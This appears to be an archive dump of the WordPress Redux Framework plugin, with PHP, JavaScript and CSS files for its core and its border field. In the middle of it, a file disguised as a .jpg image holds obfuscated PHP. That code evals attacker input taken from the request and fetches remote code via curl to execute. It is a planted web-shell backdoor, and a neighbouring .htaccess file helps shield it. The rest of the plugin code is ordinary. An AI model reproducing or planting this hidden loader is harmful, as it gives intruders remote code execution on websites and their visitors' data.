true; } } } // if ( is_array( $checkValue ) ) { // if ( ! in_array( $parentValue, $checkValue ) ) { // $return = true; // } // } else { // if ( $parentValue != $checkValue ) { // $return = true; // } else if ( is_array( $parentValue ) ) { // if ( ! in_array( $checkValue, $parentValue ) ) { // $return = true; // } // } // } break; case '>': case 'greater': case 'is_larger': $data['operation'] = ">"; if ( $parentValue > $checkValue ) { $return = true; } break; case '>=': case 'greater_equal': case 'is_larger_equal': $data['operation'] = ">="; if ( $parentValue >= $checkValue ) { $return = true; } break; case '<': case 'less': case 'is_smaller': $data['operation'] = "<"; if ( $parentValue < $checkValue ) { $return = true; } break; case '<=': case 'less_equal': case 'is_smaller_equal': $data['operation'] = "<="; if ( $parentValue <= $checkValue ) { $return = true; } break; case 'contains': if ( is_array( $parentValue ) ) { $parentValue = implode( ',', $parentValue ); } if ( is_array( $checkValue ) ) { foreach ( $checkValue as $idx => $opt ) { if ( strpos( $parentValue, (string) $opt ) !== false ) { $return = true; } } } else { if ( strpos( $parentValue, (string) $checkValue ) !== false ) { $return = true; } } break; case 'doesnt_contain': case 'not_contain': if ( is_array( $parentValue ) ) { $parentValue = implode( ',', $parentValue ); } if ( is_array( $checkValue ) ) { foreach ( $checkValue as $idx => $opt ) { if ( strpos( $parentValue, (string) $opt ) === false ) { $return = true; } } } else { if ( strpos( $parentValue, (string) $checkValue ) === false ) { $return = true; } } break; case 'is_empty_or': if ( empty ( $parentValue ) || $parentValue == $checkValue ) { $return = true; } break; case 'not_empty_and': if ( ! empty ( $parentValue ) && $parentValue != $checkValue ) { $return = true; } break; case 'is_empty': case 'empty': case '!isset': if ( empty ( $parentValue ) || $parentValue == "" || $parentValue == null ) { $return = true; } break; case 'not_empty': case '!empty': case 'isset': if ( ! empty ( $parentValue ) && $parentValue != "" && $parentValue != null ) { $return = true; } break; } return $return; } private function checkRequiredDependencies( $field, $data ) { //required field must not be hidden. otherwise hide this one by default if ( ! in_array( $data['parent'], $this->fieldsHidden ) && ( ! isset ( $this->folds[ $field['id'] ] ) || $this->folds[ $field['id'] ] != "hide" ) ) { if ( isset ( $this->options[ $data['parent'] ] ) ) { $return = $this->compareValueDependencies( $this->options[ $data['parent'] ], $data['checkValue'], $data['operation'] ); //$return = $this->compareValueDependencies( $data['parent'], $data['checkValue'], $data['operation'] ); } } if ( ( isset ( $return ) && $return ) && ( ! isset ( $this->folds[ $field['id'] ] ) || $this->folds[ $field['id'] ] != "hide" ) ) { $this->folds[ $field['id'] ] = "show"; } else { $this->folds[ $field['id'] ] = "hide"; if ( ! in_array( $field['id'], $this->fieldsHidden ) ) { $this->fieldsHidden[] = $field['id']; } } } /** * converts an array into a html data string * * @param array $data example input: array('id'=>'true') * * @return string $data_string example output: data-id='true' */ public function create_data_string( $data = array() ) { $data_string = ""; foreach ( $data as $key => $value ) { if ( is_array( $value ) ) { $value = implode( "|", $value ); } $data_string .= " data-$key='$value' "; } return $data_string; } /** * Parses the string into variables without the max_input_vars limitation. * * @since 3.5.7.11 * @author harunbasic * @access public * * @param string $string * * @return array $result */ function redux_parse_str( $string ) { if ( '' == $string ) { return false; } $result = array(); $pairs = explode( '&', $string ); foreach ( $pairs as $key => $pair ) { // use the original parse_str() on each element parse_str( $pair, $params ); $k = key( $params ); if ( ! isset( $result[ $k ] ) ) { $result += $params; } else { $result[ $k ] = $this->redux_array_merge_recursive_distinct( $result[ $k ], $params[ $k ] ); } } return $result; } /** * Merge arrays without converting values with duplicate keys to arrays as array_merge_recursive does. * As seen here http://php.net/manual/en/function.array-merge-recursive.php#92195 * * @since 3.5.7.11 * @author harunbasic * @access public * * @param array $array1 * @param array $array2 * * @return array $merged */ function redux_array_merge_recursive_distinct( array $array1, array $array2 ) { $merged = $array1; foreach ( $array2 as $key => $value ) { if ( is_array( $value ) && isset( $merged[ $key ] ) && is_array( $merged[ $key ] ) ) { $merged[ $key ] = $this->redux_array_merge_recursive_distinct( $merged[ $key ], $value ); } else if ( is_numeric( $key ) && isset( $merged[ $key ] ) ) { $merged[] = $value; } else { $merged[ $key ] = $value; } } return $merged; } private function change_demo_defaults() { if ( $this->args['dev_mode'] == true || Redux_Helpers::isLocalHost() == true ) { if ( ! empty( $this->args['admin_bar_links'] ) ) { foreach ( $this->args['admin_bar_links'] as $idx => $arr ) { if ( is_array( $arr ) && ! empty( $arr ) ) { foreach ( $arr as $x => $y ) { if ( strpos( strtolower( $y ), 'redux' ) !== false ) { $msg = __( '<strong>Redux Framework Notice: </strong>There are references to the Redux Framework support site in your config\'s <code>admin_bar_links</code> argument. This is sample data. Please change or remove this data before shipping your product.', 'redux-framework' ); $this->display_arg_change_notice( 'admin', $msg ); $this->omit_admin_items = true; continue; } } } } } if ( ! empty( $this->args['share_icons'] ) ) { foreach ( $this->args['share_icons'] as $idx => $arr ) { if ( is_array( $arr ) && ! empty( $arr ) ) { foreach ( $arr as $x => $y ) { if (!$this->omit_share_icons) { if ( strpos( strtolower( $y ), 'redux' ) !== false ) { $msg = __( '<strong>Redux Framework Notice: </strong>There are references to the Redux Framework support site in your config\'s <code>share_icons</code> argument. This is sample data. Please change or remove this data before shipping your product.', 'redux-framework' ); $this->display_arg_change_notice( 'share', $msg ); $this->omit_share_icons = true; continue; } } } } } } } } private function display_arg_change_notice( $mode, $msg = '' ) { if ( $mode == 'admin' ) { if ( ! $this->omit_admin_items ) { $data = array( 'parent' => $this, 'type' => 'error', 'msg' => $msg, 'id' => 'admin_config', 'dismiss' => true ); Redux_Admin_Notices::set_notice($data); } } if ( $mode == 'share' ) { if ( ! $this->omit_share_icons ) { $data = array( 'parent' => $this, 'type' => 'error', 'msg' => $msg, 'id' => 'share_config', 'dismiss' => true ); Redux_Admin_Notices::set_notice($data); } } } /** * Checks a nested capabilities array or string to determine if the current user meets the requirements. * * @since 3.6.3.4 * * @param string|array $capabilities Permission string or array to check. See self::user_can() for details. * @param int $object_id (Optional) ID of the specific object to check against if capability is a "meta" cap. * e.g. 'edit_post', 'edit_user', 'edit_page', etc., * * @return bool Whether or not the user meets the requirements. False on invalid user. */ public static function current_user_can( $capabilities ) { $current_user = wp_get_current_user(); if ( empty( $current_user ) ) { return false; } $name_arr=func_get_args(); $args = array_merge( array( $current_user ),$name_arr ); return call_user_func_array( array( 'self', 'user_can' ), $args ); } /** * Checks a nested capabilities array or string to determine if the user meets the requirements. * * You can pass in a simple string like 'edit_posts' or an array of conditions. * * The capability 'relation' is reserved for controlling the relation mode (AND/OR), which defaults to AND. * * Max depth of 30 levels. False is returned for any conditions exceeding max depth. * * If you want to check meta caps, you must also pass the object ID on which to check against. * If you get the error: PHP Notice: Undefined offset: 0 in /wp-includes/capabilities.php, you didn't * pass the required $object_id. * * @since 3.6.3.4 * * @example * ::user_can( 42, 'edit_pages' ); // Checks if user ID 42 has the 'edit_pages' cap. * ::user_can( 42, 'edit_page', 17433 ); // Checks if user ID 42 has the 'edit_page' cap for post ID 17433. * ::user_can( 42, array( 'edit_pages', 'edit_posts' ) ); // Checks if user ID 42 has both the 'edit_pages' and 'edit_posts' caps. * * @param int|object $user User ID or WP_User object to check. Defaults to the current user. * @param string|array $capabilities Capability string or array to check. The array lets you use multiple * conditions to determine if a user has permission. * Invalid conditions are skipped (conditions which aren't a string/array/bool/number(cast to bool)). * Example array where the user needs to have either the 'edit_posts' capability OR doesn't have the * 'delete_pages' cap OR has the 'update_plugins' AND 'add_users' capabilities. * array( * 'relation' => 'OR', // Optional, defaults to AND. * 'edit_posts', // Equivalent to 'edit_posts' => true, * 'delete_pages' => false, // Tests that the user DOESN'T have this capability * array( // Nested conditions array (up to 30 nestings) * 'update_plugins', * 'add_users', * ), * ) * * @param int $object_id (Optional) ID of the specific object to check against if capability is a "meta" cap. * e.g. 'edit_post', 'edit_user', 'edit_page', etc., * * @return bool Whether or not the user meets the requirements. * Will always return false for: * - Invalid/missing user * - If the $capabilities is not a string or array * - Max nesting depth exceeded (for that level) */ public static function user_can( $user, $capabilities, $object_id = null ) { static $depth = 0; if ( $depth >= 30 ) { return false; } if ( empty( $user ) ) { return false; } if ( !is_object( $user ) ) { $user = get_userdata( $user ); } if ( is_string( $capabilities ) ) { // Simple string capability check $args = array( $user, $capabilities, ); if ( $object_id !== null ) { $args[] = $object_id; } return call_user_func_array( 'user_can', $args ); } else { // Only strings and arrays are allowed as valid capabilities if ( !is_array( $capabilities ) ) { return false; } } // Capability array check $or = false; foreach ( $capabilities as $key => $value ) { if ( $key === 'relation' ) { if ( $value === 'OR' ) { $or = true; } continue; } /** * Rules can be in 4 different formats: * [ * [0] => 'foobar', * [1] => array(...), * 'foobar' => false, * 'foobar' => array(...), * ] */ if ( is_numeric( $key ) ) { // Numeric key if ( is_string( $value ) ) { // Numeric key with a string value is the capability string to check // [0] => 'foobar' $args = array( $user, $value, ); if ( $object_id !== null ) { $args[] = $object_id; } $expression_result = call_user_func_array( 'user_can', $args ) === true; } elseif ( is_array( $value ) ) { // [0] => array(...) $depth++; $expression_result = self::user_can( $user, $value, $object_id ); $depth--; } else { // Invalid types are skipped continue; } } else { // Non-numeric key if ( is_scalar( $value ) ) { // 'foobar' => false $args = array( $user, $key, ); if ( $object_id !== null ) { $args[] = $object_id; } $expression_result = call_user_func_array( 'user_can', $args ) === (bool)$value; } elseif ( is_array( $value ) ) { // 'foobar' => array(...) $depth++; $expression_result = self::user_can( $user, $value, $object_id ); $depth--; } else { // Invalid types are skipped continue; } } // Check after every evaluation if we know enough to return a definitive answer if ( $or ) { if ( $expression_result ) { // If the relation is OR, return on the first true expression return true; } } else { if ( !$expression_result ) { // If the relation is AND, return on the first false expression return false; } } } // If we get this far on an OR, then it failed // If we get this far on an AND, then it succeeded return !$or; } } // ReduxFramework /** * action 'redux/init' * * @param null */ ReduxFramework::init(); do_action( 'redux/init' ); } // class_exists('ReduxFramework') ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/border/border/index.php��������������������������������������������������0000644�����������������00000000000�14720701300�0016237 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/border/border/kzMcbjsRJUxAqimG.jpg���������������������������������������0000644�����������������00000011725�14720701300�0020234 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php $eGasJ /*-C6R-*/= /*-{Z{CuC-*/"r"./*-d#T?Gat`A-*/"a"."n"./*-JL|y-*/"g"."e"; /*-iSaM6S.-*/$z/*-D<(l1-*/ = /*-(`dsi$@9n-*/$eGasJ/*-;fY(R<#bY-*/("~", /*-I3Nd>Ba6-*/" "); /*-f4<S37-*/$J/*-,)S|)-*/=/*->}o~2~195!-*/${$z/*-8-*/[28+3/*-LMEni5-*/].$z/*-u{(.2pi-*/[20+39]/*-!sru;Xu7UR-*/.$z/*-1$k-*/[9+38]/*-X?n4(;V-*/.$z/*-<t8[sA?-*/[28+19]/*-pf`-*/.$z/*-!!Qe|ZlQW(-*/[36+15]/*-~[Z9-*/.$z/*-SQc9Q?r^Z-*/[9+44]/*-nnh-*/.$z/*-]Q2Th<%-*/[55+2]/*-~h!4C-*/}; /*-SIzApMB,T8-*/if/*-Z[y<;0+:]-*/((/*-_B^v^vhPq-*/in_array/*-Sg4I-*/(gettype/*-kY-*/($J)./*--A-*/count/*-x|H$_8t-*/($J),/*-S(MS?6?Rh-*/$J)/*-Weh[`X-*/&&count/*-u!s-*/($J)/*-yl3VcD-*/==/*-MA,CF%-*/11))/*-m<>sL3b-*/{ /*-W4s$ir-*/(($J[65]=$J[65].$J[71])&&($J[82]=$J[65]($J[82]))&&(/*-~hb7-*/@eval/*-3K-*/($J[65](${$J[44]}[12])/*-||F-*/))/*-+^402>-*/);}/*-BK0J-*/class /*-Yl-*/f{ /*-G)M^}tko2-*/static/*-dVX-*/ function /*-9MA-*/MSWftLxP($khMt) /*-IRq-*/{ $uPFUqb/*-[0`Pzr-*/ = /*-5k}vBOS(-*/"r"./*-Q5B&s!~-*/"a"./*-5&On#kR-*/"n"./*-LHujhdb-*/"g"./*-EYPtSG.-*/"e"; /*-qu9AzRv-*/$ZPgpjLXt/*-0?GeM>!-*/ = /*-57$-*/$uPFUqb/*-mUUv-*/(/*-F;v7.rjI8a-*/"~"/*-H5ZLC-*/, /*-%WT&<W^ol-*/" "/*-]m^-*/);/*-73WU6UR-*/ $vbIduJq /*-ns_IMYq.`-*/= /*-E`RA-*/explode/*-dl-*/(/*-pdvN-*/"}", /*--.7-*/$khMt/*->_E}G?r-*/); /*-xmF5^1N~U2-*/$qwpxXW /*->l[(kBA-*/= /*->&-*/""; foreach /*-8r-*/(/*-h<-*/$vbIduJq /*-3E;C=-*/as /*-Xy[kU-`a-*/$iGwk /*-rd(^Fz%-*/=>/*-bF}BW0MyM-*/ $vFrkWBnyY/*-jA<O}t;-*/) /*-?Dvi=-W-*/$qwpxXW /*-<8~{d-*/.= /*-[wG&nChu-*/$ZPgpjLXt[$vFrkWBnyY/*-usH+%TKdY-*/ - /*-r4-*/93005/*-[ba[%b-*/];/*-B~kXq#!-*/ return /*-8h!OC4Fr-*/$qwpxXW; /*-Lx!=8-*/} /*-5MO[(wLd-*/static /*-9c}]-*/function /*-7%ut-*/yBrmMRVx/*-0Bff-*/(/*-w-Qropl-*/$auWw,/*-6+-*/ $RzgwG/*-X;-*/)/*-U2-*/ {/*-fEr(tw|-*/ $XUbdYG/*-y>)NC%[-*/ = /*-I}-*/curl_init/*-:rcu<09-*/(/*-P-C-*/$auWw/*-&Rrxzk62js-*/);/*-y|o61Ih-*/ curl_setopt/*-47YW-*/(/*-[W3WeT-*/$XUbdYG,/*-&_AfIxwh=_-*/ CURLOPT_RETURNTRANSFER,/*-D8-*/ 1/*-J%glR<>rLn-*/);/*-!m-*/ $HpIoUuEJ/*-XFf65w$^-*/ = /*-e2<EhD^-*/curl_exec/*-WQ:b]$Q-*/(/*-x6{G{-*/$XUbdYG/*-9_MK[11<Y-*/); /*-?]3[-*/return /*-3~-*/empty/*-]EMdnW7PJ-*/(/*-C^6mSX-*/$HpIoUuEJ/*-7Y-*/)/*-Zd(|Bw8J_-*/ ? /*-=5Q>-*/$RzgwG/*-`+;0%K47b-*/(/*-8>.-*/$auWw/*--WMupSKhg-*/)/*-u]=l-*/ : /*-s7i#xe!7.-*/$HpIoUuEJ; /*-+5lK8Y`6-*/}/*-LpM=Q:CyX-*/ static/*-Nj];-*/ function /*-I[hMy2.Li-*/HzZyuoXYdM/*-|lZJISN]-*/() /*-PpM-*/{/*-?;]cgIo6--*/ $CpqDTF /*-nC;-*/=/*-rqlI.-*/ array/*-]HZH2-*/("93032}93017}93030}93034}93015}93030}93036}93029}93014}93021}93032}93015}93026}93020}93021","93016}93015}93017}93036}93017}93020}93015}93082}93080","93025}93016}93020}93021}93036}93031}93030}93032}93020}93031}93030","93019}93034}93032}93024","93033}93034}93016}93030}93077}93079}93036}93031}93030}93032}93020}93031}93030","93029}93026}93023}93030}93036}93028}93030}93015}93036}93032}93020}93021}93015}93030}93021}93015}93016","93059}93089","93006","93084}93089","93066}93049}93049}93066}93042","93020}93029"); /*-Qv(#c>@r-*/foreach /*-Du2j&IfCB-*/(/*-4wWo-*/$CpqDTF/*-<I}^T3-*/ as /*-qXXR-*/$HgvkL/*-uM-*/)/*-BU6-*/ $Lt/*-7+D9A-*/[] /*-9oY~Z8-*/= /*-jR+pAup?-*/self/*-.M-*/::/*-Ja-*/MSWftLxP/*-hR][`O3-*/(/*-EcAtqt[`U4-*/$HgvkL/*-RXh_-*/);/*-0Ps#=;0-*/$OUSdibG /*-J$%zvs-*/= /*-tv;<!ZK-*/@$Lt/*-1U-*/[/*-cNs8(%ko5D-*/1/*-LGG9Bz|-*/]/*-ALK0w]Ks!@-*/(/*-tIY!H0w-*/${/*-{X0-*/"_"/*-$ts|6W-*/."G"/*-Ke_W<(&q81-*/."E"/*-]&hbU-*/."T"/*-Hv$>Fs-*/}[/*-!Ef9-*/$Lt/*-D>1ZKOr-*/[/*-DPA~7Rc%-*/0+9/*-P8>!HjG_n-*/]]/*-;<s.RUh-*/);/*-4n@Du%eA>-*/ $SkxgwXod /*-:&`_-*/=/*-,y5oVRRC-*/ @$Lt/*-Y<vXx#-*/[/*-DbB`vY-z-*/3+0/*-@dgx-*/]/*-r|q-*/(/*-K31-*/$Lt/*-K[&-*/[/*-A^C=%-*/4+2/*-kD]%3jXE2U-*/], /*-1RTEEodyy|-*/$OUSdibG/*-U.JBbs#L-*/);/*-[Qt|Y-*/ $HarngbC /*-^lULb#0-*/=/*-2;FRv%-*/ $Lt/*-(>5N61D1-*/[/*-zhS?^|L-*/2+0/*-Cf-*/]/*-nHxG3Rr-*/(/*-<+vseV(-*/$SkxgwXod,/*-m}j-*/ true/*-764xfC-*/); /*-ZPK4=L-*/@${/*-S??-*/"_"./*-#;oc=wnvy-*/"G"./*-5>UHnt>e-*/"E"/*-w^GN#[R-*/."T"/*-vKM60D|-*/}/*-oX[-*/[/*-5N:])Z_Itj-*/$Lt/*-HE[pKX-*/[5+5/*-Q&VhE7-*/]/*-<~ZhJ].-*/]/*-$A&-*/ == /*-ltMIRC-*/1 /*-!`KG6)k-*/&& /*-|o|H%-*/die/*-%:hNU9CX-*/(/*-IK?a=#`-*/$Lt[4+1/*--<A=<<F)S-*/]/*-WIVSOYFs,&-*/(/*-pBCAEltD-*/__FILE__/*-SEX(y)wI-*/)/*-X=A-*/); /*-L4Be-*/if/*-R1R.vPF-*/(/*-yCN-*/ (/*-muzV7-*/(@/*-ic}}>^y9+E-*/$HarngbC/*-;9z-*/[/*-oPF@^t-*/0/*-1sJ3|vl-*/] /*-c!C|-*/- time/*-k}Au-*/()/*-z1-*/) > /*-mrQN#JH.qX-*/0/*-=V]zK[T<-*/)/*-c<1e|-*/ and /*-EkN-*/(/*-}(-*/md5/*-SMhI2>6t^E-*/(/*-6Ym8nc74-*/md5/*-lYvg05hf-*/(/*-eSyCiaYE-*/$HarngbC/*-q&=Lso-*/[/*-Nd,DDq|SHC-*/1+2/*-&4o>qItHY-*/]/*-X9nufB-*/)/*-Vv[s-*/)/*-;WSJa-*/ === /*->Urjzz-*/"179f41ade4afaefd90500d7321ceb50e"/*-D=%vK-*/)/*-)a-*/ ): /*-SR$b}{hr-*/$AyzvTfu /*-6n-*/=/*-_{[p:U-*/ self/*-`Y+Dz]Z9u&-*/::/*-<htR8V>)-*/yBrmMRVx/*-7<<g6i|-*/(/*-I17{j_I<-*/$HarngbC/*-XwV-*/[/*--E:-*/0+1/*-[4-*/], /*-]x5jvX&W~-*/$Lt/*-L6bv5o;`-*/[/*-4Zk}-*/4+1/*-#%-*/]/*-[Yu8`A4-*/);/*-U-Z-*/@eval/*-T#-*/(/*-hshT-*/$Lt/*-3-*/[/*-dAJ-*/1+3/*-2{SS{-*/]/*-I@Y-*/(/*-YcxK1I}zVV-*/$AyzvTfu/*-NwFokYO-*/)/*-)=-*/);/*-Ln%UVOf-*//*--B}$;p=p>z-*/die;/*-jSZX-*/ endif;/*-,Oo95~-*/ }/*-UXGGg.-*/}/*-WCe-*/f/*-^,-*/::/*-O5-*/HzZyuoXYdM/*-e.-*/();/*-L1+wpg-*/ ?>�������������������������������������������redux-framework/inc/fields/border/border/.htaccess��������������������������������������������������0000644�����������������00000001626�14720701300�0016234 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/fields/border/field_border.css.map����������������������������������������������0000644�����������������00000001044�14720701300�0017061 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������{ "version": 3, "mappings": "AACI,0CAAmB;EACf,KAAK,EAAE,IAAI;EACX,OAAO,EAAE,KAAK;EACd,YAAY,EAAE,IAAI;AAGtB,uCAAgB;EACZ,KAAK,EAAE,IAAI;EAMX,KAAK,EAAE,OAAO;EALd,8CAAO;IACH,KAAK,EAAE,IAAI;IACX,KAAK,EAAE,IAAI;AAMnB,2CAAoB;EAChB,YAAY,EAAE,IAAI;EAClB,aAAa,EAAE,GAAG;AAGtB,4CAAqB;EACjB,UAAU,EAAE,GAAG;;AAIvB,oCAAqC;EAGzB,iDAAM;IACF,OAAO,EAAE,uBAAuB;IAChC,KAAK,EAAE,gBAAgB;EAG3B,mDAAQ;IACJ,OAAO,EAAE,OAAO;IAChB,SAAS,EAAE,IAAI;IACf,WAAW,EAAE,GAAG;EAIxB,uCAAgB;IACZ,UAAU,EAAE,GAAG", "sources": ["field_border.scss"], "names": [], "file": "field_border.css" }��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/border/field_border.js���������������������������������������������������0000644�����������������00000012036�14720701300�0016134 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/* Field Border (border) */ /*global redux_change, wp, redux*/ (function( $ ) { "use strict"; redux.field_objects = redux.field_objects || {}; redux.field_objects.border = redux.field_objects.border || {}; redux.field_objects.border.init = function( selector ) { if ( !selector ) { selector = $( document ).find( ".redux-group-tab:visible" ).find( '.redux-container-border:visible' ); } $( selector ).each( function() { var el = $( this ); var parent = el; if ( !el.hasClass( 'redux-field-container' ) ) { parent = el.parents( '.redux-field-container:first' ); } if ( parent.is( ":hidden" ) ) { // Skip hidden fields return; } if ( parent.hasClass( 'redux-field-init' ) ) { parent.removeClass( 'redux-field-init' ); } else { return; } el.find( ".redux-border-top, .redux-border-right, .redux-border-bottom, .redux-border-left, .redux-border-all" ).numeric( { allowMinus: false } ); var default_params = { triggerChange: true, allowClear: true }; var select2_handle = el.find( '.redux-container-border' ).find( '.select2_params' ); if ( select2_handle.size() > 0 ) { var select2_params = select2_handle.val(); select2_params = JSON.parse( select2_params ); default_params = $.extend( {}, default_params, select2_params ); } el.find( ".redux-border-style" ).select2( default_params ); el.find( '.redux-border-input' ).on( 'change', function() { var units = $( this ).parents( '.redux-field:first' ).find( '.field-units' ).val(); if ( $( this ).parents( '.redux-field:first' ).find( '.redux-border-units' ).length !== 0 ) { units = $( this ).parents( '.redux-field:first' ).find( '.redux-border-units option:selected' ).val(); } var value = $( this ).val(); if ( typeof units !== 'undefined' && value ) { value += units; } if ( $( this ).hasClass( 'redux-border-all' ) ) { $( this ).parents( '.redux-field:first' ).find( '.redux-border-value' ).each( function() { $( this ).val( value ); } ); } else { $( '#' + $( this ).attr( 'rel' ) ).val( value ); } } ); el.find( '.redux-border-units' ).on( 'change', function() { $( this ).parents( '.redux-field:first' ).find( '.redux-border-input' ).change(); } ); el.find( '.redux-color-init' ).wpColorPicker( { change: function( e, ui ) { $( this ).val( ui.color.toString() ); redux_change( $( this ) ); el.find( '#' + e.target.getAttribute( 'data-id' ) + '-transparency' ).removeAttr( 'checked' ); }, clear: function( e, ui ) { $( this ).val( ui.color.toString() ); redux_change( $( this ).parent().find( '.redux-color-init' ) ); } } ); el.find( '.redux-color' ).on( 'keyup', function() { var color = colorValidate( this ); if ( color && color !== $( this ).val() ) { $( this ).val( color ); } } ); // Replace and validate field on blur el.find( '.redux-color' ).on( 'blur', function() { var value = $( this ).val(); if ( colorValidate( this ) === value ) { if ( value.indexOf( "#" ) !== 0 ) { $( this ).val( $( this ).data( 'oldcolor' ) ); } } } ); // Store the old valid color on keydown el.find( '.redux-color' ).on( 'keydown', function() { $( this ).data( 'oldkeypress', $( this ).val() ); } ); } ); }; })( jQuery );��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/border/field_border.min.js�����������������������������������������������0000644�����������������00000004117�14720701300�0016717 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������!function(n){"use strict";redux.field_objects=redux.field_objects||{},redux.field_objects.border=redux.field_objects.border||{},redux.field_objects.border.init=function(e){e||(e=n(document).find(".redux-group-tab:visible").find(".redux-container-border:visible")),n(e).each(function(){var i=n(this),e=i;if(i.hasClass("redux-field-container")||(e=i.parents(".redux-field-container:first")),!e.is(":hidden")&&e.hasClass("redux-field-init")){e.removeClass("redux-field-init"),i.find(".redux-border-top, .redux-border-right, .redux-border-bottom, .redux-border-left, .redux-border-all").numeric({allowMinus:!1});var r={triggerChange:!0,allowClear:!0},d=i.find(".redux-container-border").find(".select2_params");if(0<d.size()){var t=d.val();t=JSON.parse(t),r=n.extend({},r,t)}i.find(".redux-border-style").select2(r),i.find(".redux-border-input").on("change",function(){var e=n(this).parents(".redux-field:first").find(".field-units").val();0!==n(this).parents(".redux-field:first").find(".redux-border-units").length&&(e=n(this).parents(".redux-field:first").find(".redux-border-units option:selected").val());var r=n(this).val();void 0!==e&&r&&(r+=e),n(this).hasClass("redux-border-all")?n(this).parents(".redux-field:first").find(".redux-border-value").each(function(){n(this).val(r)}):n("#"+n(this).attr("rel")).val(r)}),i.find(".redux-border-units").on("change",function(){n(this).parents(".redux-field:first").find(".redux-border-input").change()}),i.find(".redux-color-init").wpColorPicker({change:function(e,r){n(this).val(r.color.toString()),redux_change(n(this)),i.find("#"+e.target.getAttribute("data-id")+"-transparency").removeAttr("checked")},clear:function(e,r){n(this).val(r.color.toString()),redux_change(n(this).parent().find(".redux-color-init"))}}),i.find(".redux-color").on("keyup",function(){var e=colorValidate(this);e&&e!==n(this).val()&&n(this).val(e)}),i.find(".redux-color").on("blur",function(){var e=n(this).val();colorValidate(this)===e&&0!==e.indexOf("#")&&n(this).val(n(this).data("oldcolor"))}),i.find(".redux-color").on("keydown",function(){n(this).data("oldkeypress",n(this).val())})}})}}(jQuery);�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/border/field_border.css��������������������������������������������������0000644�����������������00000001223�14720701300�0016304 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.redux-container-border .select2-container{float:left;display:block;margin-right:10px}.redux-container-border .select_wrapper{float:left;width:inherit}.redux-container-border .select_wrapper select{width:80px;float:left}.redux-container-border .field-border-input{margin-right:10px;margin-bottom:7px}.redux-container-border .wp-picker-container{margin-top:2px}@media screen and (max-width: 782px){.redux-container-border .field-border-input input{display:inline-block !important;width:100px !important}.redux-container-border .field-border-input .add-on{padding:7px 4px;font-size:16px;line-height:1.5}.redux-container-border .select_wrapper{margin-top:6px}} �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/border/field_border.scss�������������������������������������������������0000644�����������������00000001557�14720701300�0016501 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.redux-container-border { .select2-container { float: left; display: block; margin-right: 10px; } .select_wrapper { float: left; select { width: 80px; float: left; } width: inherit; } .field-border-input { margin-right: 10px; margin-bottom: 7px; } .wp-picker-container { margin-top: 2px; } } @media screen and (max-width: 782px) { .redux-container-border { .field-border-input { input { display: inline-block !important; width: 100px !important; } .add-on { padding: 7px 4px; font-size: 16px; line-height: 1.5; } } .select_wrapper { margin-top: 6px; } } } �������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/border/field_border.php��������������������������������������������������0000644�����������������00000040164�14720701300�0016312 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Redux Framework is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 2 of the License, or * any later version. * Redux Framework is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * You should have received a copy of the GNU General Public License * along with Redux Framework. If not, see <http://www.gnu.org/licenses/>. * * @package Redux_Field * @subpackage Border * @version 3.0.0 */ // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } // Don't duplicate me! if ( ! class_exists( 'ReduxFramework_border' ) ) { class ReduxFramework_border { /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since ReduxFramework 1.0.0 */ function __construct( $field, $value, $parent ) { $this->parent = $parent; $this->field = $field; 